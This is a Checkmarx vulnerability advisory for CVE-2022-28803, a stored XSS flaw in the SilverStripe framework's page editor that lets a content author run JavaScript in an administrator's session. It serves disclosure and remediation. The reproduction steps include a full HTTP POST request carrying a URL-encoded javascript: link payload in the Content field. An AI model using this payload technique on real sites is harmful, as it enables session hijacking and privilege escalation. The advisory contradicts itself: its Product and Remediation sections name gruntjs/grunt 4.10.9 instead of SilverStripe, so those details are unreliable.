--- title: "CX-2022-5028" date: "2022-09-12T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5028/" --- # CX-2022-5028 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) CVE-2022-28803 **Published:** Sep 12, 2022 5.4 Medium Severity packagist php stored XSS @ @ranjit-git Reported by Checkmarx Zero Details Overview ## Summary Stored XSS in silverstripe/silverstripe-framework. ## Product gruntjs/grunt versions 4.x.x prior to 4.10.9. ## Impact Using this xss “content author” can execute any javascript code in admin account . So, “Content authors” can change his role to super-admin using this xss ## Steps to reproduce 1. First from super-admin account goto [http://localhost/silverstripe/admin/security/#Root\_Users](http://localhost/silverstripe/admin/security/#Root_Users) and add user-B as content authors . also give user-B only permisssion to page section . 2. Now from user-B account goto any page and edit it [http://localhost/silverstripe/admin/pages/edit/show/7](http://localhost/silverstripe/admin/pages/edit/show/7). after edit save it and bellow request is sent to server ```POST Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Pjax: CurrentForm,Breadcrumbs X-Requested-With: XMLHttpRequest Content-Length: 1967 Origin: http://localhost Connection: close Referer: http://localhost/silverstripe/admin/pages/edit/show/7 Cookie: Title=admin-pageNew+Page&URLSegment=admin-pagenew-page&MenuTitle=admin-pageNew+Page&Content=%3Cp%3E%3Ca+title%3D%22jhkh%22+href%3D%22javascript:alert(document.domain)%22%3Esd%3C%2Fa%3E%3C%2Fp%3E&MetaDescription=&ExtraMeta=&ClassName=Page&ParentID=0&SecurityID=5aa9e58c341853a9f4b5320d938debaf514a8b50&ID=7&AbsoluteLink=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin-pagenew-page%2F&LiveLink=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin-pagenew-page%2F%3Fstage%3DLive&StageLink=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin-pagenew-page%2F%3Fstage%3DStage&ArchiveWarningMessage=Warning%3A+This+page+and+all+of+its+child+pages+will+be+unpublished+before+being+sent+to+the+archive.%5Cn%5CnAre+you+sure+you+want+to+proceed%3F&TreeTitle=%3Cspan+class%3D%22jstree-pageicon+page-icon+font-icon-page+class-Page%22%3E%3C%2Fspan%3E%3Cspan+class%3D%22item%22+data-allowedchildren%3D%22%5B%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BPage%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-page%26quot%3B%7D%2C%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BSilverStripe%5C%5CErrorPage%5C%5CErrorPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BError+Page%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-p-error%26quot%3B%7D%2C%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BSilverStripe%5C%5CCMS%5C%5CModel%5C%5CRedirectorPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BRedirector+Page%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-p-redirect%26quot%3B%7D%2C%7B%26quot%3BClassName%26quot%3B%3A%26quot%3BSilverStripe%5C%5CCMS%5C%5CModel%5C%5CVirtualPage%26quot%3B%2C%26quot%3BTitle%26quot%3B%3A%26quot%3BVirtual+Page%26quot%3B%2C%26quot%3BIconClass%26quot%3B%3A%26quot%3Bfont-icon-p-virtual%26quot%3B%7D%5D%22%3Eadmin-pageNew+Page%3C%2Fspan%3E&Action=split&action_save=1&BackURL=http%3A%2F%2Flocalhost%2Fsilverstripe%2Fadmin%2Fpages%2Fedit%2Fshow%2F7 ``` here in this request put xss payload %3Cp%3E%3Ca+title%3D%22jhkh%22+href%3D%22javascript:alert(document.domain)%22%3Esd%3C%2Fa%3E%3C%2Fp%3E& in Content parameter . If you decode this then you get `

sd

` Here javascript code javascript:alert(document.domain) is provided . ### Expected result: Go to admin account and open the above page [http://localhost/silverstripe/admin-pagenew-page?stage=Stage](http://localhost/silverstripe/admin-pagenew-page?stage=Stage) and click the link in this page and see XSS is executed. ## Remediation Update gruntjs/grunt to version 4.10.9. ## Credit This issue was reported by @ranjit-git through huntr.dev. ## Resources 1. [7946402](https://github.com/silverstripe/silverstripe-framework/commit/794640247bde7a20c0bebec02cd4d5ab6c9ad0a0) 2. [Disclosure](https://huntr.dev/bounties/05549ea6-59ae-4433-bea1-e7779aee412e) 3. [Advisory](https://github.com/advisories/GHSA-rppc-655v-7j3c) 0 Medium Severity CVSS v3.1 Score 5.4 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: Low - User Interaction: None - Scope: Unchanged - Confidentiality Impact: Low - Integrity Impact: Low - Availability Impact: None Advisory Timeline1. Disclosed Mar 27, 2022 ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)